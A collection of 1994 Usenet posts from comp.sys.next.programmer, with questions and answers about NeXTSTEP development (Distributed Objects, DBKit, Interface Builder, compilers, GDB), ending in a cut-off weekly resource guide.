From: msm@safesurfer.pencom.com (Mark S Mertel) Newsgroups: comp.sys.next.programmer Subject: Re: Interbase adaptor (Solution) Date: 27 May 1994 16:58:38 GMT Organization: Pencom Sofware Message-ID: <2s58ru$e5r@digdug.pencom.com> References: <2s0hkk$4st@pizza.cs.columbia.edu> In article <2s0hkk$4st@pizza.cs.columbia.edu> wln@news.cs.columbia.edu (William Lee Nussbaum) writes: > In article <1994May19.162809.2210@dart.de>, > Alexander Spohr <Alexander_Spohr@DART.de> wrote: > > > >NeXT forgot to mention the /etc/hosts.equiv file. > >Server: add all clients. > >Client: add the server. > > (1) Is client permission to the server actually necessary? That's > unusual for a database package. > > (2) Are you on an isolated network *and* do you trust everyone with > physical access to any of the involved machines? If either of these > is not the case, doing this is probably a poor approach. > -- It was not necessary for me to edit any of the hosts.equiv files (client or server), however I did need to explicitly export read-write the database directory from the server to each of the client machines - even though I wasn't mounting/importing the directory on the client systems. All seems to be well, except the licensing bit - do I really need to license Interbase on each of my clients - the adaptor seems to work, but I get this threatening message in the Console. With Sybase, when you get the adaptor - you get the license to run a client process. -- Mark Mertel Email: msm@pencom.com Pencom Software Phone: (512) 343-6666 9050 Capital of Texas Hwy. N. FAX: (512) 343-9650 Austin, TX 78759
From: sean@zapotec.math.byu.edu (Sean O. Luke) Newsgroups: comp.sys.next.programmer Subject: Re: Soundkit question Date: 27 May 1994 19:39:04 GMT Organization: Brigham Young University Distribution: world Message-ID: <2s5i8o$4j7@hamblin.math.byu.edu> References: <2s3kk7$csk@atlas.cs.upei.ca> Beaker (peter@bert.psyc.upei.ca) wrote: : I'm trying to write a function which loops until a Sound object has : finished playing. I know the 'normal' way to time tasks to the : end of a Sound is to use a delegate, but this is not appropriate for : my application. : I've tried the following code, but it doesn't work. : - play:sender : { : id snd; : snd = [[Sound findSoundFor:"Bullfrog"] setDelegate:self]; : printf("Starting to play\n"); : [snd play]; : while([snd status] == NX_SoundPlaying) NXPing(); This is your problem--you're blocking the event loop so the Sound Object never gets a chance to update itself. : printf("Done playing\n"); : return self; : } : What should I be doing differently? You should be using a timed entry. Start the sound playing, then set a timed entry up to call a "checker" method every 1/10 sec or so. This checker method would check for NX_SoundPlaying, and if so, remove the timed entry and do whatever you want to do now that the sound has stopped. I've put some sound objects out on the net that do this kind of thing. If you'd like to see examples, check the MiscSoundTracker object in the MiscKit, available on ftp.et.byu.edu. Sorry, I don't have the code on me right now, or I'd post an example for you. :-( +--------------------------------------------------------------+ | Sean Luke This signature no verb | | sean@digaudio.byu.edu ,,, <- finger for PGP key | | sean@zapotec.math.byu.edu (o o) | +------------------------oOO--(_)--OOo-------------------------+
From: rencsok@convex.cl.msu.edu (randal rencsok) Newsgroups: comp.sys.next.marketplace,comp.sys.next.programmer,comp.sys.next.misc Subject: NeXTSTEP expo ticket USER/DEV up for grabs Date: 27 May 1994 21:40:07 GMT Organization: Michigan State University Message-ID: <2s5pbn$lv0@msuinfo.cl.msu.edu> Keywords: NeXTSTEP expo ticket Hello, I was wondering if anyone would be interested to attend the NeXTSTEP expo. I have an extra ticket to User and Dev conference I probably won't use and I'd like to work out an arrangement with anyone (preferrably a registered developer etc.) to exchange the ticket for cash, or plane ticket from MI to CA (one perhaps two way) I can just work out a cash deal but would prefer someone who's been in the NeXTSTEP environment as a DEV that would be willing to hang out a bit w/ me, and discuss things (but we don't have to be tethered). I'm flexible and willing to talk to interested parties.. Correct me if I'm wrong but these are going for $895 yes?? And we can get NS3.2 USER/DEV for intel for $299.. Anyone who is interested, and willing to talk let me know. Sincerely, Randy Rencsok Turbo Software and Consulting rencsok@convex.cl.msu.edu 517-546-4037
Newsgroups: comp.sys.next.programmer From: yanik@planon.qc.ca (Yanik Crepeau) Subject: Distributed Object, senderIsInvalid kills the server! Message-ID: <1994May27.194849.9412@planon.qc.ca> Sender: yanik@planon.qc.ca (Yanik Crepeau) Date: Fri, 27 May 1994 19:48:49 GMT I have posted three (3) previous messages here about Distributed Objects. I have received a lot of message from all around the world. During the process of debuging DO, we discovered a new bug: when a client quits, the server dies. We try to find why and I think I have found the solution. If someone at NeXT reads this message, please refer to bug # 56535 sent to bug_next@next.com 1994-05-26, -senderIsInvalid: kills the server bug is related to the NXReference protocol system. There is two (2) place where you can find -senderIsInvalid:. You can find it in a user's object that acts like a delegate of the NXConnection. When the connection is droped, that delegate-alike receives the -senderIsInvalid:. The other place is inside the NXConnection class as well. On the documentation about the NXConnection, we can see the following documentation: senderIsInvalid: -senderIsInvalid:sender Responds to a message that the connection's port has died. This method invalidates the connection, invalidates the proxies to remote objects (which can no longer be accessed), and sends a free message to all the local objects vendes by the connection that conform to the NXReference protocol, therby giving up the connection's references to these objects. sender is an instance of a private port management class, your code shouldn't send message to it. Well, the important words here are "sends a free message to all the local objects vented by the connection that fonform to the NXReference protocol". My system of DO uses three classes: PTSourceMsg, List and PTMessage. The object PTSourceMsg contains a list (messageList) and that list points to many objects member of the class PTMessage. PTSourceMsg conforms to the NXReference protocol, List and PTMessage don't. What happens when the connection drops? The NXConnection in charge of that connection receives the -senderIsInvalid message and everything goes as documented... A list of vended object is created and every object in that list will receive a -free message if it conforms to the NXReference protocol. PTSourceMsg is conform to the NXReference protocol, so it receive a -free message. The reference of aPTsourceMsg is decremented and not has 0 as value, the -free will be actualy be executed. Each member of messageList receive a -free and are destroyed. messageList receives a -free and is destroyed. The connection had a list of vended objects. So, it continues with the second object in its list. It check if that object conforms to the NXReference and... Bang! The application has ejected. The NXConnection tried to sent the "-conformsTo:" to check if the vended object will be -freed... The problem is that when aPTSourceMsg has been freed, it has freed all its dependant objects (List and PTMessage). That destruction has not removed the freed object from the NXConnection list. Objects with dependant objects are very common. For instance, a View has a List of Views (its subViews). The List is the paramount example of root object with many dependant objects. List does not conform to the NXReference protocol. The normal behaviour of the -free sent to the root object is to destroy the dependant object as well. ([[aList freeObjects] free]). When the NXConnection tries to do its duty, it must check if the vended object conforms to NXReference. Too often, that object if freed just before. We found a way to by-pass this problem with some -pefrom:with:afterDelay:cancelPrevious to delay the effective destruction. Obiously, -p:w:aD:cP: method could not be used in faceless applications. I hope that will help you all folks to work with DOs. Yanik -- Yanik Crepeau The power of OOP used to stop when Programmer the programmer typed "make". With Planon Telexpertise NEXTSTEP and PDO, that is not true E-Mail: yanik@planon.qc.ca (NeXT) anymore!
From: "Thomas G. Mon" <tm31+@andrew.cmu.edu> Newsgroups: comp.sys.next.programmer Subject: Dock relocation Date: Fri, 27 May 1994 22:21:36 -0400 Organization: Senior, Math/Computer Science, Carnegie Mellon, Pittsburgh, PA Message-ID: <QhteekK00iV246kEVr@andrew.cmu.edu> Is there a dwrite to relocate the Application Dock to the left of the screen? Tom. tm31@andrew.cmu.edu [NeXTmail welcome]
Newsgroups: comp.sys.next.programmer From: dawkins@improv.music.mcgill.ca (Kyle Dawkins) Subject: Cannot connect form to Object in IB... HELP! Message-ID: <1994May28.032155.7504@sifon.cc.mcgill.ca> Sender: news@sifon.cc.mcgill.ca Organization: McGill University Date: Sat, 28 May 1994 03:21:55 GMT Greetings All. i am developing a graphical application under NS 3.2 and have come across what seems to be an extremely frustrating bug in IB (or PB). I am not sure, and perhaps I am missing something, but it is vitally important that I get this fixed up ASAP... I have isolated what I want to do down to this: I create a subclass of "Object" called MyObject, and create an instance of this. I create a window in IB, and put a form (with 10 fields) in the window. I create an outlet in MyObject called "fileList" and an action method called "setFileList:". I connect the form to "MyObject" (action setFileList:) and MyObject to the form matrix (the grey box), selecting "fileList" as the outlet. I then unparse the code, and fill in the "setFileList:" method with code to simply dump the contents of the form. I build the application, and it doesn't work; all I get printed out is null-pointers. The id "fileList" is in MyObject.h but if I try to read "[fileList stringValueAt:1]" all I get is a null pointer. What am I doing wrong? HELP! Kyle dawkins@music.mcgill.ca
Newsgroups: comp.sys.next.programmer From: blanford@gemstone.com (Ron Blanford) Subject: Re: positionForRecordKey weirdness? Message-ID: <1994May28.074129.2621@venice.sedd.trw.com> Originator: blanford@arkenstone Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA References: <1994May27.152338.1661@il.us.swissbank.com> Date: Sat, 28 May 1994 07:41:29 GMT In article <1994May27.152338.1661@il.us.swissbank.com> pelletk@il.us.swissbank.com (Ken Pelletier) writes: > You're not alone on this one! I pulled out most of what little > hair I have left trying to solve this one. I don't know if this > is a bug (I hope so), but it seems that you can't just pass any > ol' DBValue into that method; it must be set up using the > getRecordKeyValue:at: method of DBRecordList. > > Of course, this means that you've got to know the index of the > record (rather than just the key value), to get the index of the > record. I couldn't seem to get it to work any other way. > > Eg: [myRecordList getRecordKeyValue:keyValue at:index]; > > This *will* give you a DBValue (keyValue) suitable for finding > the corresponding record with: > > [myRecordList positionForRecordKey:keyValue] > > Can anyone shed any more light on this? > > -- Ken Pelletier ken_pelletier@swissbank.com You are exactly right. I have found that the only reliable way to use positionForRecordKey is to give it a key value which has been generated by the getRecordKeyValue:at: method. The dbValue this method returns has an objectValue which is a dbGenericRecord containing one or more key properties. It is possible to construct one of these key values from scratch, but not without using undocumented dbKit classes and methods. In your case if you felt daring you might do something like: - (int) positionFor:(DBValue *)aValue in:(DBRecordList *)recordList; { int index; id keyValue = [[DBValue alloc] init]; id keyPropList = [[List alloc] init]; [recordList getRecordKeyValue:keyValue at:0]; [recordList getKeyProperties:keyPropList]; // This is an undocumented method of an internal class. [[keyValue objectValue] setIntValue:[aValue intValue] forProperty:[keyPropList objectAt:0]]; index = [recordList positionForRecordKey:keyValue]; [keyValue free]; [keyPropList free]; return index; } -- Ron blanford@spf.trw.com
From: bussarj@gator4.alleg.edu (Jeremy Bussard) Newsgroups: comp.sys.next.programmer Subject: Re: Dock relocation Date: 28 May 1994 03:20:46 GMT Organization: Allegheny College Message-ID: <2s6dae$vj@mustang.alleg.edu> References: <QhteekK00iV246kEVr@andrew.cmu.edu> Thomas G. Mon (tm31+@andrew.cmu.edu) wrote: : Is there a dwrite to relocate the Application Dock to the left of the screen? : Tom. : tm31@andrew.cmu.edu [NeXTmail welcome] Try "dwrite Workspace DockOriginX 0" Jeremy bussarj@alleg.edu
Newsgroups: comp.sys.next.programmer From: jf@yesman.fdn.org (Jean-Francois_Coulange) Subject: Program helping to write scenarios Message-ID: <1994May26.135612.3787@yesman.fdn.org> Sender: news@yesman.fdn.org Organization: Individual - Paris, France. Distribution: fr Date: Thu, 26 May 1994 13:56:12 GMT I m looking for a program helping to write scenarios, do that exist for Next Computer. Or any other except Mac. Atari or PC. In French will be OK or English too. Thanks a lot..........;-) -- Jean-Fran ois Coulange Il n'est pas de plus grand malheur Noblesse Oblige que de perdre son temps T l : (1) 40.60.00.63 fax : (1) 40.60.03.62 Leonardo da Vinci Paris - France
Newsgroups: comp.sys.next.programmer From: js@euler.hnv.icem.de(Juergen Sell) Subject: Re: Is there any PD FAX program for NeXT ? Message-ID: <CqF7Kq.9o@euler.hnv.icem.de> Sender: js@euler.hnv.icem.de (Juergen Sell) Organization: Ink Unknown References: <94May23.135140@EE.Stanford.EDU> Date: Thu, 26 May 1994 17:36:26 GMT In article <94May23.135140@EE.Stanford.EDU> park@isl.Stanford.EDU (Sang Ju Park) writes: > Hello. > > Is there any public domain fax send/receive porgram(s) available > for NeXT ? For receiving try am - current version is 1.16? This includes an answering machine > As a related matter: Does anyone know how to convert multi page > g3 raw data fax file, say, "foo.001, foo.002, ..., foo.005" > to foo.fax which is readable by FaxReader program ? > It seems that /usr/lib/NextPrinter/faxcleanup should do > the job, but I cannot find the documentation for that > program. Wasn't it /usr/lib/NextPrinter/faxcleanup <nr. of pages> <the g3-filename>? Anyway, this is implemented in am. Have a look. Juergen --- Juergen Sell E-Mail js@icem.de ( NeXTMail ok ) Fax ++49-511-440617 == What time do we live in when all the word 'revolution' makes you think of == is a new generation of soap powder, == when spontaneity and freedom gets associated with instant coffee?
Newsgroups: comp.sys.next.programmer From: gmd@hazel.north.de (Gerriet M. Denkmann) Subject: Re: How to determinate what apps are running (only NEXTSTEP ones) Message-ID: <CqIGMH.G6y@hazel.north.de> Sender: gerriet@hazel.north.de (Gerriet M. Denkmann) Organization: Great Mathematical Developments, Inc. References: <2s4dh5$jlq@nic-nac.CSU.net> Distribution: usa Date: Sat, 28 May 1994 11:44:39 GMT In article <2s4dh5$jlq@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott) writes: > [ explains the internal workings of ProcessMonitor ] Dear Mr. EPS, I'm really amazed on the number of things you know. How did you get all this knowledge? This is not only a (maybe too) personal question, but also a quest for references to documentation, which you seem to have, and which I have so far not unearthed. E.g.: fastps - my Librarian finds nothing about this. table() - undocumented as you say, but you seem to have some information anyway. And some more questions, somehow related to ProcessMonitor: Given a memory region, how do I (or does ProcessMonitor) get the name of the zone (set with NXNameZone())? How do I know whether it is shared or not (vm_region() always returns unshared)? If it is shared, which processes do share it? How do I know the status of this region (active, inactive, wired, free)? And is there a document, which explains the information returned by vm_statistics()? I do have some vague ideas what these things mean, but a more detailed discussion would be rather helpful. Yours sincerely Gerriet M. Denkmann
From: pdell@csb.NoSubdomain.NoDomain (Paul Dell) Newsgroups: comp.sys.next.programmer Subject: OO Databases on NEXTSTEP Date: 28 May 1994 18:30:52 GMT Organization: Computer Science Department, Boston University, Boston, MA, USA Sender: pdell@csb (Paul Dell) Distribution: world Message-ID: <2s82ks$87u@news.bu.edu> Are there any OO databases running on NEXTSTEP. I'm not interested in OO tools for accessing relational databases. Thanks in advance, Paul Dell Graduate Student Boston University pdell@bu.edu
From: jbm@aiinet.com (John Milton) Newsgroups: comp.sys.next.programmer Subject: Need CUBE connector pinouts from the old manuals Date: 29 May 1994 06:19:11 GMT Organization: Applied Innovation, Inc. Message-ID: <2s9c4v$8p6@aisun.aiinet.com> Keywords: pinouts Hey, I'm in the process of bringing up an old '030 cube CPU board. I need the pinouts to all of the connectors except the NeXTbus connector. The power connector is first priority :) If you're in Columbus, OH and can FAX me the pages out of the old users' manual, that would be best. Thanks, John -- John Bly Milton IV jbm@aiinet.com (614) h:252-8544, w:798-8301 NeXTmail OK AMPR:N8KSN[44.70.0.52] Don't FLAME, inform!
From: he@engin.swarthmore.edu (Ye He) Newsgroups: comp.sys.next.programmer Subject: method and function communications Date: 29 May 1994 07:56:01 GMT Organization: Swarthmore College Engineering, Swarthmore PA Message-ID: <2s9hqh$ipg@larch.cc.swarthmore.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Hello Everybody, I noticed that within a method a NX function can be called and arguments passed, but within a NX function I wasn't able to send a message to self. The compiler complained "self undefined." Also, I wasn't able to access any instance variable within a NX function, the instance var. was also regarded by the function as undefined. I'm pretty sure there is a way to get by with this, could anyone out there give me a pointer please? Please reply to my email address. Thanks alot. -- Ye He
From: dekorte@ibm19.scri.fsu.edu (Stephen L. DeKorte) Newsgroups: comp.sys.next.programmer Subject: connecting to the DPS window server without [Application new]? Date: 29 May 1994 08:20:10 GMT Organization: Supercomputer Computations Research Institute Message-ID: <2s9j7q$7ir@mailer.fsu.edu> Anyone know if there is a way to connect the the DPS window server without using [Application new]? I'd like to avoid having to link to the NeXT libs if possible. Thanks for any info, Steve PS. please reply by email.
From: lestat@cs.utexas.edu (Faizel Dakri) Newsgroups: comp.sys.next.programmer Subject: Re: OO Databases on NEXTSTEP Date: 29 May 1994 08:16:52 GMT Organization: The University of Texas at Austin, Austin, Texas Distribution: world Message-ID: <2s9j1k$5f2@geraldo.cc.utexas.edu> References: <2s82ks$87u@news.bu.edu> In article <2s82ks$87u@news.bu.edu> pdell@csb.NoSubdomain.NoDomain (Paul Dell) writes: > Are there any OO databases running on NEXTSTEP. I'm not interested in OO tools > for accessing relational databases. > > Thanks in advance, > Paul Dell > Graduate Student > Boston University > pdell@bu.edu Yes, there is at least one that I know of. It's called POET and it's based on C++. They have an academic program managed by Darin Madeiros. You can reach POET Software Corp. at (800)950-8845. Hope that helps. Faizel Dakri lestat@cs.utexas.edu
From: jmack@skye.phys.ualberta.ca Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer Subject: NS3.2 cpp-precomp failure for 'cc -E' Date: 29 May 1994 19:53:51 GMT Organization: Computer and Network Services, U of Alberta, Edmonton, Canada Message-ID: <2sarsf$qj6@quartz.ucs.ualberta.ca> Keywords: pre-compiler,cc 'cc -E' works fine under 3.0 but breaks under 3.2 (black) It looks as if the culprit is 'cpp-precomp -smart' Under 3.2, gcc 2.5.7 works just fine: -------------------- gcc -v -E Makefile.c > Makefile.typ Reading specs from /usr/local/lib/gcc-lib/m68k-next-bsd/2.5.7/specs gcc version 2.5.7 /usr/local/lib/gcc-lib/m68k-next-bsd/2.5.7/cpp -lang-c -v -undef -D__GNUC__=2 -D__GNUC_MINOR__=5 -Dmc68000 -Dm68k -DNeXT -Dunix -D__MACH__ -D__BIG_ENDIAN__ -D__ARCHITECTURE__="m68k" -D__mc68000__ -D__m68k__ -D__NeXT__ -D__unix__ -D__MACH__ -D__BIG_ENDIAN__ -D__ARCHITECTURE__="m68k" -D__mc68000 -D__m68k -D__NeXT -D__unix -D__MACH__ -D__BIG_ENDIAN__ -D__ARCHITECTURE__="m68k" -Asystem(unix) -Asystem(mach) -Acpu(m68k) -Amachine(m68k) -D__STDC__ -D_NEXT_SOURCE Makefile.c GNU CPP version 2.5.7 (68k, MIT syntax) #include "..." search starts here: #include <...> search starts here: /usr/local/include /usr/local/m68k-next-bsd/include /usr/local/lib/gcc-lib/m68k-next-bsd/2.5.7/include /usr/local/lib/gcc-lib/m68k-next-bsd/2.5.7/include/ansi /usr/local/lib/gcc-lib/m68k-next-bsd/2.5.7/include/bsd /NextDeveloper/Headers /NextDeveloper/Headers/ansi /NextDeveloper/Headers/bsd /LocalDeveloper/Headers /LocalDeveloper/Headers/ansi /LocalDeveloper/Headers/bsd /NextDeveloper/2.0CompatibleHeaders /usr/include /usr/include/bsd End of search list. BUT, with NeXT's version of cc, this just fails: ------------------------------ cc -v -E Makefile.c > Makefile.typ Reading specs from /lib/m68k/specs NeXT Computer, Inc. version cc-216.obj~13, gcc version 2.2.2 /lib/m68k/cpp-precomp -smart -lang-c -v -arch m68k -undef -D__GNUC__=2 -D__GNU__ -Dmc68000 -Dm68k -DNeXT -Dunix -DNX_COMPILER_RELEASE_3_0=300 -DNX_COMPILER_RELEASE_3_1=310 -DNX_CURRENT_COMPILER_RELEASE=310 -D__mc68000__ -D__m68k__ -D__NeXT__ -D__unix__ -D__MACH__ -D__BIG_ENDIAN__ -D__ARCHITECTURE__=\"m68k\" -D__NX_COMPILER_RELEASE_3_0__=300 -D__NX_COMPILER_RELEASE_3_1__=310 -D__NX_CURRENT_COMPILER_RELEASE__=310 -D__mc68000 -D__m68k -D__NeXT -D__unix -D__NX_COMPILER_RELEASE_3_0=300 -D__NX_COMPILER_RELEASE_3_1=310 -D__NX_CURRENT_COMPILER_RELEASE=310 -D__STDC__ -D_NEXT_SOURCE Makefile.c NeXT DevKit-based CPP 3.1 Makefile.c:89: illegal external declaration, missing `;' after `rv' Makefile.c:90: undefined type, found `ranlib' Makefile.c:91: illegal external declaration, missing `;' after `f77' Makefile.c:92: undefined type, found `cc' Makefile.c:93: illegal external declaration, missing `;' after `g' .. (lots more errors deleted) A workaraound is to forget about cpp-precomp and just use cpp (by hand): ------------- /lib/m68k/cpp -smart -lang-c -v -arch m68k -undef -D__GNUC__=2 -D__GNU__ -Dmc68000 -Dm68k -DNeXT -Dunix -DNX_COMPILER_RELEASE_3_0=300 - DNX_COMPILER_RELEASE_3_1=310 -DNX_CURRENT_COMPILER_RELEASE=310 -D__mc68000__ -D__m68k__ -D__NeXT__ -D__unix__ -D__MACH__ -D__BIG_ENDIAN__ -D__ARCHITECTURE__=\"m68k\" -D__NX_COMPILER_RELEASE_3_0__=300 -D__NX_COMPILER_RELEASE_3_1__=310 -D__NX_CURRENT_COMPILER_RELEASE__=310 -D__mc68000 -D__m68k -D__NeXT -D__unix -D__NX_COMPILER_RELEASE_3_0=300 -D__NX_COMPILER_RELEASE_3_1=310 -D__NX_CURRENT_COMPILER_RELEASE=310 -D__STDC__ -D_NEXT_SOURCE Makefile.c > Makefile.typ GNU CPP version 2.2.2 (68k, MIT syntax) .. which produces a work-able file. When are the cpp-precomp oddities going to be fixed? -- James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab Computing/Networking Phone : (403) 492-8226 Department of Physics email : jmack@phys.ualberta.ca University of Alberta uucp : uofaphys!jmack iskye!jmack Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
Newsgroups: comp.sys.next.programmer From: Robert La Ferla <Robert_La_Ferla@hot.com> Subject: Re: crontab Message-ID: <1994May29.210610.14768@hot.com> Sender: robertl@hot.com Organization: Hot Technologies References: <1994May26.152649.171216@eros.embl-heidelberg.de> Date: Sun, 29 May 1994 21:06:10 GMT NS has /etc/crontab and /etc/crontab.local. There are no user crontab capabilities other than what the "at" command provides. Robert La Ferla Hot Technologies NEXTSTEP ISV and Consulting In article <1994May26.152649.171216@eros.embl-heidelberg.de> writes: > On SGI or SUN there is a commant called crontab > > ---------------- > NAME > crontab - user crontab file > > SYNOPSIS > crontab [file] > crontab -r > crontab -l > > DESCRIPTION > crontab copies the specified file, or standard input if no file is > specified, into a directory that holds all users' crontabs. The -r > option removes a user's crontab from the crontab directory. crontab -l > will list the crontab file for the invoking user. > ------------------ > > Is there any equivalent for NS? > > > -- > Georg Tuparev > EMBL / Protein Design Phone: +49 - 6221 - 387534 > Meyerhofstr. 1 FAX: +49 - 6221 - 387517 > D-69117 Heidelberg > Germany > Tuparev@EMBL-Heidelberg.de (NeXT-mail)
From: hsr@cs.Stanford.EDU (Scott Roy) Newsgroups: comp.sys.next.programmer Subject: Re: GDB source code Date: 30 May 1994 04:41:56 GMT Organization: Stanford University: Computer Science Department Distribution: world Message-ID: <2sbqqk$rb@Times.Stanford.EDU> References: <2s572c$po5@news.doit.wisc.edu> I've found NeXT's GDB to work reasonably well when debugging C++ compiled with gcc-2.5.8, but there are definitely two things I've learned since I first started that have helped a lot: 1. If "print foo" generates a complaint, try "print * &foo". 2. You can set breakpoints in template functions by using the fully qualified name in quotes: "break 'foo<int>::bar'". The GDB situation could certainly be better, but these two tidbits have gotten me past most of my initial stumbling blocks. --- Scott Roy Department of Computer Science Stanford University
From: cartier@iisnext5.unil.ch (Cartier Francois) Newsgroups: comp.sys.next.programmer Subject: Switch Box and DBKit ? Date: 30 May 1994 09:25:44 GMT Organization: University of Lausanne CH (Switzerland) Message-ID: <2scbeo$2mf@cisun2000.unil.ch> Anyone out there know how to use a switch box with DBKIT ? Thanks in advance, Francois Cartier Institut d informatique Universite de Lausanne NeXT-Mail: cartier@iisnext1.unil.ch
Newsgroups: comp.sys.next.programmer From: js@euler.hnv.icem.de(Juergen Sell) Subject: Re: Cannot connect form to Object in IB... HELP! Message-ID: <CqKIyE.yK@euler.hnv.icem.de> Sender: js@euler.hnv.icem.de (Juergen Sell) Organization: Ink Unknown References: <1994May28.032155.7504@sifon.cc.mcgill.ca> Date: Sun, 29 May 1994 14:30:13 GMT In article <1994May28.032155.7504@sifon.cc.mcgill.ca> dawkins@improv.music.mcgill.ca (Kyle Dawkins) writes: > [...] > I then unparse the code, and fill in the "setFileList:" method with code > to simply dump the contents of the form. > > I build the application, and it doesn't work; all I get printed out is > [...] Forgive me, but do you not need to instantiate "MyObject" to actually include the class object in your application? This should take place before building the application. But then I am not sure I understood your problem. Juergen --- Fon ++49-511-440688 NeXTMail welcome Fax ++49-511-440617 == What time do we live in when all the word 'revolution' makes you think of == is a new generation of soap powder, == when spontaneity and freedom gets associated with instant coffee?
From: c9039@rrzc2 (Roland Schwingel) Newsgroups: comp.sys.next.programmer Subject: No Eventhandling for INTEL ??? Date: 30 May 1994 11:33:44 GMT Organization: University of Regensburg, Germany Message-ID: <2sciuoINNov1@rrzs3.uni-regensburg.de> Keywords: events on intel Hello, I am trying to post some mouseevents (drag,move,click etc.) on NextStep 3.2 on an intel based machine. I haven't managed it right now to become it working. The lowlevelevents from the black hardware are not implemented in the intel version. Are there any any ideas how I can do this on Intel Nextstep 3.2 ??? Thanks for your help, Roland. -- -------------------------------------------------------------------------------- Roland Schwingel, Lilienthalstrasse 9, 92421 Schwandorf, Germany NEW Email:roland.schwingel@extern.uni-regensburg.de --------------------------------------------------------------------------------
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.programmer Subject: encodeData:ofType: can't encode struct {iii} Date: 30 May 1994 13:30:21 GMT Organization: MCSNet Services Distribution: world Message-ID: <2scppd$fnq@News1.mcs.com> Keywords: encodeData, Distributed Objects I have a simple class that conforms to the NXTransport protocol: - encodeRemotelyFor:(NXConnection *) connection freeAfterEncoding:(BOOL *) flagp isBycopy:(BOOL) isBycopy { // We only encode by copy return self; } - encodeUsing:(id <NXEncoding>) portal { [portal encodeData: &v.did ofType: "i"]; [portal encodeData: &v.type ofType: "i"]; [portal encodeData: &v.value ofType: typeCodes[v.type]]; return self; } - decodeUsing:(id <NXDecoding>) portal { [self init]; [portal decodeData: &v.did ofType: "i"]; [portal decodeData: &v.type ofType: "i"]; [portal decodeData: &v.value ofType: typeCodes[v.type]]; return self; } The v.value is a union of simple types and simple structs. When the union referes to a struct like: typedef struct _time { long h; long m; long s; } Time; with a type encoding of "{iii}", I get the following error msg and exception from within encodeData:ofType : encodeData:ofType: can't encode struct {iii} DistObj Error: remoteInternalException (my error reporter's text) The NXEncoding docs certainly suggest that "{iii}" is something a conforming class should be able to encode. I can get around this by encoding it as "[3i]", but this isn't going to work reliably when I have a structure that is being padded. Any ideas on why the exception is occuring? Thanks, Scott -- Scott Stark Stark Internation Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
From: pmarc@allanon.math.byu.edu (Paul Cardon) Newsgroups: comp.sys.next.programmer Subject: Re: GDB source code Date: 30 May 1994 14:34:26 GMT Organization: Brigham Young University Distribution: world Message-ID: <2scthi$cec@hamblin.math.byu.edu> References: <2sbqqk$rb@Times.Stanford.EDU> In article <2sbqqk$rb@Times.Stanford.EDU> hsr@cs.Stanford.EDU (Scott Roy) writes: > I've found NeXT's GDB to work reasonably well when debugging C++ compiled > with gcc-2.5.8, but there are definitely two things I've learned since I > first started that have helped a lot: > > 1. If "print foo" generates a complaint, try "print * &foo". > 2. You can set breakpoints in template functions by using the fully > qualified name in quotes: "break 'foo<int>::bar'". > > The GDB situation could certainly be better, but these two tidbits have > gotten me past most of my initial stumbling blocks. There is a _very_ good chance that NeXT's cc will be based on a more recent version of gcc (2.5.8) sometime in the near future. Let us just say for now that it might be already for some of us... -- Paul M. Cardon President of Provo OpenStep-NEXTSTEP User and Developer Group (PoNG) NEXTSTEP and HP System Manager Math Department - Brigham Young University DOS - The Ultimate Blivet
From: rep@hrz.tu-chemnitz.de (Ralph Eppert) Newsgroups: comp.sys.next.programmer Subject: Getting real width of string ... Date: 30 May 94 19:42:46 GMT Organization: University of Technology Chemnitz, FRG Message-ID: <rep.770326966@herodes> Hi, I have a little problem. I try to display a textfield with a given string and font. I want to adjust the size of the textfield to the size of the string? How to do that? (getWidthOf doesn't seem to give the right results). Please answer via eMail. rep@informatik.tu-chemnitz.de
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP Information on the Internet. Date: 30 May 1994 16:28:39 -0400 Organization: Next Announcements Message-ID: <2sdi9n$fer@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: Stepwise NEXTSTEP/OpenStep Information Server online comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers New Information --------------- Stepwise NEXTSTEP/OpenStep Information Server online A product directory built around the World Wide Web system, this will allow full multimedia announcements by NEXTSTEP developers, as well as the ability to browse the available products for NEXTSTEP. This service is online now, and can be reached at http://digifix.digifix.com/ it can be reached using OmniWeb (available from ftp.omnigroup.com) or Mosaic. The entries are coming in quite quickly, and currently consist of - NeXT Press Releases - OpenStep WhitePapers - Third Party Products Directory - NEXTSTEP Developer Directory - NEXTSTEP Community WhitePages - NEXTSTEP User Group Directory - comp.sys.next.announce archives (searchable) - searchable contents of Third Party compilation CDs Additionally the NEXTSTEP Product Information Mail Server will be stocked full file files in the next week... you can get information on using the mail server at ns-products@digifix.com Suggestions or comments can be directed to me at sanguish@digifix.com comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in 